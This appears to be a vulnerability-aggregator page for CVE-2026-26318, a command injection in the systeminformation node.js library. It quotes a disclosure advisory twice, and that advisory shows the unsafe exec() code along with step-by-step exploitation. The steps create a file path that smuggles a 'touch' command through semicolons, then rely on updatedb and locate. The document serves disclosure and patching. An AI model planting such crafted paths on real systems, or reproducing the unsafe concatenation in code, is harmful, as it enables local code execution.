Every CVE Search/ Get API key

CVE-2026-26318

systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`

8.8 HighFix available

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.28%Up 1.2 points since Feb 20, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.

Record
CVE-2026-26318
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-78, CWE-78
Updated
2026-11-02
EUVDEUVD-2026-8239 8.8

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.

Record
EUVD-2026-8239
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-5vv4-hvf7-2h46 8.8

Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)


The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n').sort();
    if (postgresqlBin.length) {
      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
        // parses version string...
      });
    }
  }
});

Here's what happens step by step:

  1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries
  2. It splits the output by newline and sorts the results alphabetically
  3. It takes the last element (highest alphabetically)
  4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().


Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

  1. Target system runs Linux — the vulnerable code path is inside an if (_linux) block
  2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL
  3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback)
  4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb
  5. The locate database gets updated — updatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate
# /usr/bin/locate

systemctl list-timers | grep plocate
# plocate-updatedb.timer    plocate-updatedb.service
# (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + '…
Record
GHSA-5vv4-hvf7-2h46
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
NVD 8.8

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.

Record
CVE-2026-26318
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSV 8.8

systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.

Record
CVE-2026-26318
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVDEBIAN-CVE-2026-26318 8.8

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.

Record
DEBIAN-CVE-2026-26318
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
Show 4 moreShow less
OSVGHSA-5vv4-hvf7-2h46 8.8

Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)


The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n').sort();
    if (postgresqlBin.length) {
      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
        // parses version string...
      });
    }
  }
});

Here's what happens step by step:

  1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries
  2. It splits the output by newline and sorts the results alphabetically
  3. It takes the last element (highest alphabetically)
  4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().


Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

  1. Target system runs Linux — the vulnerable code path is inside an if (_linux) block
  2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL
  3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback)
  4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb
  5. The locate database gets updated — updatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate
# /usr/bin/locate

systemctl list-timers | grep plocate
# plocate-updatedb.timer    plocate-updatedb.service
# (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + '…
Record
GHSA-5vv4-hvf7-2h46
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-26318 8.8

CVE-2026-26318 in systeminformation - Patched by Root

Root has patched CVE-2026-26318 in the systeminformation package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-26318
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-26318 8.8

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.

Record
UBUNTU-CVE-2026-26318
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVCLSA-2026-1788560453 No score

TuxCare security update for systeminformation (4 CVEs)

TuxCare rebuilt systeminformation to address 4 CVEs. Fixed in 5.23.8-tuxcare.1.

Record
CLSA-2026-1788560453
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
systeminformation
npm
before 5.31.0
5.31.0
systeminformation
TuxCare:npm
From an advisory covering 4 CVEs
5.23.8-tuxcare.0 up to 5.23.8-tuxcare.1, plus listed versions
5.23.8
5.23.8-tuxcare.1
jupyterlab
Debian:13
All versions, plus listed versions
4.0.11+ds1+~cs11.25.27-74.0.11+ds1+~cs11.25.27-84.0.11+ds1+~cs11.25.27-94.0.11+ds2+~cs11.25.27-14.0.11+ds2+~cs11.25.27-3
Show 24 moreShow less
4.0.11+ds3+~cs11.25.27-14.0.11+ds4+~cs11.25.27-14.0.11+ds4+~cs11.25.27-24.0.11+ds4+~cs11.25.27-34.0.11+ds4+~cs11.25.27-44.0.11+ds5+~cs11.25.27-14.0.13+ds1+~2.0.1+~cs1.4.4-14.1.3+ds1+~2.0.1+~0.15.3+~cs1.4.4-14.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-14.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-24.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-34.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-44.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-54.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-64.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-74.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-84.4.1+ds1+~3.0.5+~0.16.6+~cs1.4.4-14.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-14.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-24.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-34.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-44.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-54.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-64.4.8+ds1+~3.1.0+~0.16.6+~cs1.4.4-1
None known
jupyterlab
Debian:14
before 4.0.11+ds5+~cs11.25.27-1, plus listed versions
4.0.11+ds1+~cs11.25.27-74.0.11+ds1+~cs11.25.27-84.0.11+ds1+~cs11.25.27-94.0.11+ds2+~cs11.25.27-14.0.11+ds2+~cs11.25.27-3
Show 5 moreShow less
4.0.11+ds3+~cs11.25.27-14.0.11+ds4+~cs11.25.27-14.0.11+ds4+~cs11.25.27-24.0.11+ds4+~cs11.25.27-34.0.11+ds4+~cs11.25.27-4
4.0.11+ds5+~cs11.25.27-1
systeminformation
Root:npm
before 5.23.8-aikido.5
5.23.8-aikido.55.23.8-aikido.6
@rootio/systeminformation
Root:npm
before 5.23.8-root.io.5
5.23.8-root.io.55.23.8-root.io.25.23.8-root.io.35.23.8-root.io.45.23.8-root.io.6
jupyterlab
Ubuntu:25.10
All versions, plus listed versions
4.0.11+ds1+~cs11.25.27-54.0.11+ds1+~cs11.25.27-64.0.11+ds1+~cs11.25.27-7
None known
jupyterlab
Ubuntu:26.10
All versions, plus listed versions
4.0.11+ds1+~cs11.25.27-94.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-34.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-4
None known
node-systeminformation
Ubuntu:26.10
All versions, plus listed versions
5.31.6-45.31.7-1
None known
jupyterlab
Ubuntu:26.04:LTS
All versions, plus listed versions
4.0.11+ds1+~cs11.25.27-74.0.11+ds1+~cs11.25.27-84.0.11+ds1+~cs11.25.27-9
None known

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-26318 is a high vulnerability (CVSS 8.8) in Sebhildebrandt Systeminformation, published February 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.28%, the 70th percentile. Fixed in systeminformation 5.31.0.

References

Show 6 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open